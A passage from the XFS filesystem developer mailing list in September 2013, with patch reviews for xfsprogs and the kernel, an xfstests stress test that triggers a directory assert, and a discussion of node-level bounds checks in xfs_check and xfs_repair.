XFS_TRANS_RELEASE_LOG_RES); - if (error) - xfs_notice(mp, "%s: xfs_trans_commit returned error %d", - __func__, error); - } + error = xfs_inactive_ifree(ip); + if (error) + goto out; /* * Release the dquots held by inode, if any. */ xfs_qm_dqdetach(ip); - xfs_iunlock(ip, XFS_ILOCK_EXCL); out: return VN_INACTIVE_CACHE; } -- 1.8.1.4 From tinguely@sgi.com Wed Sep 18 11:26:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7FD267F37 for ; Wed, 18 Sep 2013 11:26:55 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5979030404E; Wed, 18 Sep 2013 09:26:55 -0700 (PDT) Message-ID: <5239D44E.2090408@sgi.com> Date: Wed, 18 Sep 2013 11:26:54 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Li Zhong CC: xfsprogs , Chandra Seetharaman Subject: Re: [PATCH] xfsprogs: fix potential memory leak in repare/sb.c References: <1379497242.5874.7.camel@ThinkPad-T5421> In-Reply-To: <1379497242.5874.7.camel@ThinkPad-T5421> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/18/13 04:40, Li Zhong wrote: > Following Resource leak is reported by coverity: > > CID 997011 (#1 of 1): Resource leak (RESOURCE_LEAK)6. leaked_storage: > Variable "buf" going out of scope leaks the storage it points to. > 505 return(XR_EOF); > > Add a free(buf) to solve it. > > Signed-off-by: Li Zhong > --- Looks good. Reviewed-by: Mark Tinguely From mlsemon35@gmail.com Wed Sep 18 11:36:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 74FC67F37 for ; Wed, 18 Sep 2013 11:36:05 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E3900AC004 for ; Wed, 18 Sep 2013 09:36:04 -0700 (PDT) X-ASG-Debug-ID: 1379522163-04cbb02c3a116e240001-NocioJ Received: from mail-qa0-f54.google.com (mail-qa0-f54.google.com [209.85.216.54]) by cuda.sgi.com with ESMTP id JQndKA4SkoM3wtb8 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Sep 2013 09:36:03 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.54 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.54] Received: by mail-qa0-f54.google.com with SMTP id bv4so3018901qab.6 for ; Wed, 18 Sep 2013 09:36:03 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.54] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.54] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=oX6mJzhuRMTy3Z4/JMOFYm8RHBQ4YBdhrI+BID8DgwA=; b=Z1wjTYRI0VR5O1z5fwbTsgx3E3zxNBFCZF4mZYGxdr5sF2UNxTFZFaY/XBmKlGbnj7 6oKM9Ebim/mRdITZ96gFVHHa/P2r2vLmaUWZZ/uE6TfYnxVbhkgf49YvqNTc9BW259cY PgcEDWQWP4NPzIzSdF11/P8Qrs3R0nrSutIxzdkYXe/E8TITmiknwEhVLmlp94nH3PQU 9LFWNNel3urUDLePOXYRJzZY7ehXOOCtapHkwNdNbKLjTFYubtxisff5wYBC44hRU3qi ruvqLHdRd3B64jOMEqWiaqiQeSakvR5k740p2IhSMveLl5lSZ6iJMmJClEtnOAgJ6i2s nqjA== MIME-Version: 1.0 X-Received: by 10.49.96.225 with SMTP id dv1mr4287058qeb.89.1379522163145; Wed, 18 Sep 2013 09:36:03 -0700 (PDT) Received: by 10.140.87.235 with HTTP; Wed, 18 Sep 2013 09:36:03 -0700 (PDT) In-Reply-To: <20130917192538.230164044@sgi.com> References: <20130917192538.230164044@sgi.com> Date: Wed, 18 Sep 2013 12:36:03 -0400 Message-ID: Subject: Re: [PATCH] xfstests: v2 xfs directory unbalance assert test From: "Michael L. Semon" X-ASG-Orig-Subj: Re: [PATCH] xfstests: v2 xfs directory unbalance assert test To: Mark Tinguely Cc: "xfs@oss.sgi.com" Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qa0-f54.google.com[209.85.216.54] X-Barracuda-Start-Time: 1379522163 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140729 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Looks good. I tried it on an 11-GB partition with an unpatched git kernel 3.12.0 + xfs-oss/master, coupled with the latest git xfsprogs. It took a reasonable amount of time, relatively speaking. It put forth the error I was expecting, and a new 32-bit core is available upon your request but not uploaded yet. As for the assert itself, according to kgdb, these are the first, last, and BBTOB(bp->b_length) numbers for this run: 1544 4591 4096 Good work! Michael On Tue, Sep 17, 2013 at 3:25 PM, Mark Tinguely wrote: > This tests triggers an assert in the XFS directory unbalance code. > This test originally written by Brian Foster and suggestions > from Micheal Semon. > > Signed-off-by: Mark Tinguely > --- > v1->v2: > remove clean up. > remove $seqres.full before test. > remove scratch mount. > 11g -> calculate 11g bytes. > check for failing mkfs and mount. > add a safer removal of the scratch files. > > put into auto group and "long" group so people can opt out: > this test almost an hour on my test box. > > tests/generic/319 | 56 ++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/generic/319.out | 2 + > tests/generic/group | 1 > 3 files changed, 59 insertions(+) > > Index: b/tests/generic/319 > =================================================================== > --- /dev/null > +++ b/tests/generic/319 > @@ -0,0 +1,56 @@ > +#! /bin/bash > +# FS QA Test No. 319 > +# > +# Test directory code correctly handles fsstress filling the filesystem > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2013 SGI. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > +_require_scratch > + > +# real QA test starts here > + > +_supported_fs generic > +_supported_os IRIX Linux > + > +rm -f $seqres.full > +_scratch_mkfs_sized $((11 * 1024 * 1024 * 1024)) >> $seqres.full 2>&1 \ > + || _fail "mkfs failed" > +run_check _scratch_mount >> $seqres.full > + > +# Fill the filesystem. > +FSSTRESS_ARGS="-z -s 1378390208 -fsymlink=1 -n7500000 -p4 -d $SCRATCH_MNT" > +$FSSTRESS_PROG $FSSTRESS_ARGS >> $seqres.full 2>&1 > + > +# A debug XFS may assert in the remove due to a directory bug. > +rm -rf $SCRATCH_MNT/p? > +echo "--- silence is golden ---" > +status=0 > +exit > Index: b/tests/generic/319.out > =================================================================== > --- /dev/null > +++ b/tests/generic/319.out > @@ -0,0 +1,2 @@ > +QA output created by 319 > +--- silence is golden --- > Index: b/tests/generic/group > =================================================================== > --- a/tests/generic/group > +++ b/tests/generic/group > @@ -121,3 +121,4 @@ > 316 auto quick > 317 auto metadata quick > 318 acl attr auto quick > +319 auto stress long > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From tinguely@sgi.com Wed Sep 18 12:43:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EF4B77F37 for ; Wed, 18 Sep 2013 12:43:23 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id D0AAB304062; Wed, 18 Sep 2013 10:43:20 -0700 (PDT) Message-ID: <5239E638.4060908@sgi.com> Date: Wed, 18 Sep 2013 12:43:20 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: "Michael L. Semon" CC: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfstests: v2 xfs directory unbalance assert test References: <20130917192538.230164044@sgi.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/18/13 11:36, Michael L. Semon wrote: > Looks good. I tried it on an 11-GB partition with an unpatched git kernel > 3.12.0 + xfs-oss/master, coupled with the latest git xfsprogs. It took a > reasonable amount of time, relatively speaking. It put forth the error I was > expecting, and a new 32-bit core is available upon your request but not > uploaded yet. > > As for the assert itself, according to kgdb, these are the first, last, and > BBTOB(bp->b_length) numbers for this run: > > 1544 4591 4096 > > Good work! > > Michael Thanks for the feedback. last > BBTOB(bp->b_length) was also true for the longer version of the test. The only difference is that it happens earlier in the remove. I take a closer look at the code. --Mark. From bfoster@redhat.com Wed Sep 18 13:19:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E75497F37 for ; Wed, 18 Sep 2013 13:19:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id BD7488F8039 for ; Wed, 18 Sep 2013 11:19:53 -0700 (PDT) X-ASG-Debug-ID: 1379528386-04bdf053872520f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id TXH3mprM3GDcS5Ch for ; Wed, 18 Sep 2013 11:19:47 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8IIJkqp014547 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 18 Sep 2013 14:19:46 -0400 Received: from laptop.bfoster (vpn-51-254.rdu2.redhat.com [10.10.51.254]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8IIA7LW016565 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Wed, 18 Sep 2013 14:10:08 -0400 Message-ID: <5239EBA2.4070207@redhat.com> Date: Wed, 18 Sep 2013 14:06:26 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: push down inactive transaction mgmt for remote symlinks References: <1379520960-22972-1-git-send-email-bfoster@redhat.com> <1379520960-22972-2-git-send-email-bfoster@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: push down inactive transaction mgmt for remote symlinks In-Reply-To: <1379520960-22972-2-git-send-email-bfoster@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379528387 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 09/18/2013 12:15 PM, Brian Foster wrote: > Push down the transaction management for remote symlinks from > xfs_inactive() down to xfs_inactive_symlink_rmt(). The latter is > cleaned up to avoid transaction management intended for the > calling context (i.e., trans duplication, reservation, item > attachment). > > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_inode.c | 15 ++++++------ > fs/xfs/xfs_symlink.c | 64 ++++++++++++++++++---------------------------------- > fs/xfs/xfs_symlink.h | 2 +- > 3 files changed, 31 insertions(+), 50 deletions(-) > ... > diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c > index f622a97..f85f6f2 100644 > --- a/fs/xfs/xfs_symlink.c > +++ b/fs/xfs/xfs_symlink.c > @@ -424,8 +424,7 @@ xfs_symlink( > */ ... > > @@ -563,16 +546,13 @@ xfs_inactive_symlink_rmt( > */ > int > xfs_inactive_symlink( > - struct xfs_inode *ip, > - struct xfs_trans **tp) > + struct xfs_inode *ip) > { > struct xfs_mount *mp = ip->i_mount; > int pathlen; > > trace_xfs_inactive_symlink(ip); > > - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > - I just want to call out one thing here in case it isn't noticed on review... the safety of this is something I was curious about. Specifically, note that I've removed the inode locking from xfs_inactive(), which previously covered xfs_inactive_symlink() (for xfs_idata_realloc()), down into xfs_inactive_symlink_rmt(). My assumption was that this is currently ok since at this point we have an inode with di_nlink == 0. If that's not accurate or not expected to remain so after O_TMPFILE related work, I suppose I could pull the locking back up into xfs_inactive_symlink(). Brian > if (XFS_FORCED_SHUTDOWN(mp)) > return XFS_ERROR(EIO); > > @@ -599,5 +579,5 @@ xfs_inactive_symlink( > } > > /* remove the remote symlink */ > - return xfs_inactive_symlink_rmt(ip, tp); > + return xfs_inactive_symlink_rmt(ip); > } > diff --git a/fs/xfs/xfs_symlink.h b/fs/xfs/xfs_symlink.h > index 99338ba..e75245d 100644 > --- a/fs/xfs/xfs_symlink.h > +++ b/fs/xfs/xfs_symlink.h > @@ -22,6 +22,6 @@ > int xfs_symlink(struct xfs_inode *dp, struct xfs_name *link_name, > const char *target_path, umode_t mode, struct xfs_inode **ipp); > int xfs_readlink(struct xfs_inode *ip, char *link); > -int xfs_inactive_symlink(struct xfs_inode *ip, struct xfs_trans **tpp); > +int xfs_inactive_symlink(struct xfs_inode *ip); > > #endif /* __XFS_SYMLINK_H */ > From tinguely@sgi.com Wed Sep 18 13:48:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 70A217F37 for ; Wed, 18 Sep 2013 13:48:44 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4528D8F8084; Wed, 18 Sep 2013 11:48:41 -0700 (PDT) Message-ID: <5239F588.5060907@sgi.com> Date: Wed, 18 Sep 2013 13:48:40 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH V3] xfs_repair: test for bad level in dir2 node References: <52274F96.2010702@sandeen.net> <52322A84.1030007@sandeen.net> In-Reply-To: <52322A84.1030007@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/12/13 15:56, Eric Sandeen wrote: > In traverse_int_dir2block(), the variable 'i' is the level in > the tree, with 0 being a leaf node. In the "do" loop we > start at the root, and work our way down to a leaf. > > If the first node we read is an interior node with NODE_MAGIC, > but it tells us that its level is 0 (a leaf), this is clearly > an inconsistency. > > Worse, we'd return with success, bno set, and only level[0] > in the cursor initialized. Then down this path we'll > segfault when accessing an uninitialized (and zeroed) member > of the cursor's level array: > > process_node_dir2 > traverse_int_dir2block // returns 0 w/ bno set, only level[0] init'd > process_leaf_level_dir2 > verify_dir2_path(mp, da_cursor, 0) // p_level == 0 > this_level = p_level + 1; > node = cursor->level[this_level].bp->b_addr; // level[1] uninit& 0'd > > Fix this by recognizing that an interior node w/ level 0 is invalid, and > error out as for other inconsistencies. > > By the time the level 0 test is done, we have already ensured that > this block has XFS_DA[3]_NODE_MAGIC. > > Reported-by: Jan Yves Brueckner > Signed-off-by: Eric Sandeen > --- > > V3: Simplify the test. > > Mark, Dave, I know you had some concerns about other conditions being > tested, but I think those are separate from this fix, which simply ensures > that the level we find for this _NODE block is within the valid range > for a node. (It also matches the test currently present in xfs_check). > > If we've got other missing conditions, those can be other patches, > I think. > > V2: Drop re-test of hdr magic which is guaranteed to be NODE at this point. > fix "interior inode" - s/b "interior node" > > My only testcase for this is Jan Yves Brueckner's badly corrupted > filesystem image. With this change, we get i.e. : > > bad level in interior inode for directory inode 39869938 > corrupt block 6 in directory inode 39869957 > will junk block I okay with this to fix the bug. I will make a note to think more on the level == 1 case, but that is not related to the bug. Reviewed-by: Mark Tinguely From tinguely@sgi.com Wed Sep 18 14:35:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 985457F37 for ; Wed, 18 Sep 2013 14:35:38 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7029D8F8073; Wed, 18 Sep 2013 12:35:35 -0700 (PDT) Message-ID: <523A0086.1080000@sgi.com> Date: Wed, 18 Sep 2013 14:35:34 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH] xfs_check: fix test for too-high level in v2 dir node References: <52322B67.80305@redhat.com> In-Reply-To: <52322B67.80305@redhat.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/12/13 16:00, Eric Sandeen wrote: > The test as it stands allows level == XFS_DA_NODE_MAXDEPTH (5), > but a max depth of 5 equates to level values of 0 through 4. > > Level 5 would be a depth of 6. > > Signed-off-by: Eric Sandeen > --- > > diff --git a/db/check.c b/db/check.c > index cbe55ba..d9e3e3f 100644 > --- a/db/check.c > +++ b/db/check.c > @@ -3138,7 +3138,7 @@ process_leaf_node_dir_v2_int( > case XFS_DA_NODE_MAGIC: > node = iocur_top->data; > xfs_da3_node_hdr_from_disk(&nodehdr, node); > - if (nodehdr.level< 1 || nodehdr.level> XFS_DA_NODE_MAXDEPTH) { > + if (nodehdr.level< 1 || nodehdr.level>= XFS_DA_NODE_MAXDEPTH) { > if (!sflag || v) > dbprintf(_("bad node block level %d for dir ino " > "%lld block %d\n"), I think the current code is correct. 0 is a leaf. levels 1-XFS_DA_NODE_MAXDEPTH are nodes. Subtract 1 when used as an index. --Mark. From tinguely@sgi.com Wed Sep 18 15:05:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 92F177F50 for ; Wed, 18 Sep 2013 15:05:56 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 772238F8073; Wed, 18 Sep 2013 13:05:53 -0700 (PDT) Message-ID: <523A07A0.5020906@sgi.com> Date: Wed, 18 Sep 2013 15:05:52 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: xfs-oss Subject: Re: [PATCH] xfstests: fix fsstress usage() output References: <52377F85.70104@redhat.com> In-Reply-To: <52377F85.70104@redhat.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/16/13 17:00, Eric Sandeen wrote: > The show_ops() output should come as part of the -f option > help. > > Signed-off-by: Eric Sandeen > --- Good eye. Reviewed-by: Mark Tinguely From sandeen@sandeen.net Wed Sep 18 15:20:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C550529DFB for ; Wed, 18 Sep 2013 15:20:07 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8CF408F8035 for ; Wed, 18 Sep 2013 13:20:07 -0700 (PDT) X-ASG-Debug-ID: 1379535602-04bdf02f2311cb460001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 4Lz6buWXBYk7PcYc for ; Wed, 18 Sep 2013 13:20:03 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 4193261A28CA; Wed, 18 Sep 2013 15:20:02 -0500 (CDT) Message-ID: <523A0AF0.3000507@sandeen.net> Date: Wed, 18 Sep 2013 15:20:00 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: Eric Sandeen , "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH] xfs_check: fix test for too-high level in v2 dir node References: <52322B67.80305@redhat.com> <523A0086.1080000@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfs_check: fix test for too-high level in v2 dir node In-Reply-To: <523A0086.1080000@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379535602 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140733 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/18/13 2:35 PM, Mark Tinguely wrote: > On 09/12/13 16:00, Eric Sandeen wrote: >> The test as it stands allows level == XFS_DA_NODE_MAXDEPTH (5), >> but a max depth of 5 equates to level values of 0 through 4. >> >> Level 5 would be a depth of 6. >> >> Signed-off-by: Eric Sandeen >> --- >> > >> diff --git a/db/check.c b/db/check.c >> index cbe55ba..d9e3e3f 100644 >> --- a/db/check.c >> +++ b/db/check.c >> @@ -3138,7 +3138,7 @@ process_leaf_node_dir_v2_int( >> case XFS_DA_NODE_MAGIC: >> node = iocur_top->data; >> xfs_da3_node_hdr_from_disk(&nodehdr, node); >> - if (nodehdr.level< 1 || nodehdr.level> XFS_DA_NODE_MAXDEPTH) { >> + if (nodehdr.level< 1 || nodehdr.level>= XFS_DA_NODE_MAXDEPTH) { >> if (!sflag || v) >> dbprintf(_("bad node block level %d for dir ino " >> "%lld block %d\n"), > > > I think the current code is correct. > > 0 is a leaf. levels 1-XFS_DA_NODE_MAXDEPTH are nodes. > Subtract 1 when used as an index. case XFS_DA_NODE_MAGIC: node = iocur_top->data; xfs_da3_node_hdr_from_disk(&nodehdr, node); to->level = be16_to_cpu(from->hdr.__level); if (nodehdr.level < 1 || nodehdr.level > XFS_DA_NODE_MAXDEPTH) { so nodehdr.level comes directly off the disk. Hm, ok, let's look at the verifier, xfs_da3_node_verify: xfs_da3_node_hdr_from_disk /* sets to->level = be16_to_cpu(from->hdr.__level) */ ... if (ichdr.level == 0) return false; if (ichdr.level > XFS_DA_NODE_MAXDEPTH) return false; ok, so 1 through XFS_DA_NODE_MAXDEPTH is valid for a generic node. *shrug* ok fine, I agree. It's only xfs_check anyway. ;) Feel free to drop this patch then. But now I'm trying to reconcile it w/ the code in repair, i = da_cursor->active = nodehdr.level; if (i < 1 || i >= XFS_DA_NODE_MAXDEPTH) { which considers nodehdr.level == XFS_DA_NODE_MAXDEPTH to be problematic, because i (== nodehdr.level) is used directly as an index into a level[XFS_DA_NODE_MAXDEPTH]-sized array. So confused. :/ (Maybe the cursor array needs to be 1 bigger?) -Eric From JBacik@fusionio.com Wed Sep 18 15:29:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 213F929DFC for ; Wed, 18 Sep 2013 15:29:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0E3708F8035 for ; Wed, 18 Sep 2013 13:29:31 -0700 (PDT) X-ASG-Debug-ID: 1379536169-04cbb02c3c1183950001-NocioJ Received: from dkim1.fusionio.com (dkim1.fusionio.com [66.114.96.53]) by cuda.sgi.com with ESMTP id EwvoMbv8RYgmXVk8 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 18 Sep 2013 13:29:30 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.53 Received: from mx1.fusionio.com (unknown [10.101.1.160]) by dkim1.fusionio.com (Postfix) with ESMTP id 8661A7C0685 for ; Wed, 18 Sep 2013 14:29:29 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1379536169; bh=V6tjiXy0jKm0i7qybAIZ0d9Yy+W+CcE4sCdOQhkM7W4=; h=From:To:Subject:Date; b=aTKKlNd74NJ+4jjqUL4Ej2k/0Rx+8JsETPkzoc7l7kL8r7L1E/Qim3GGYcwVtrNkk 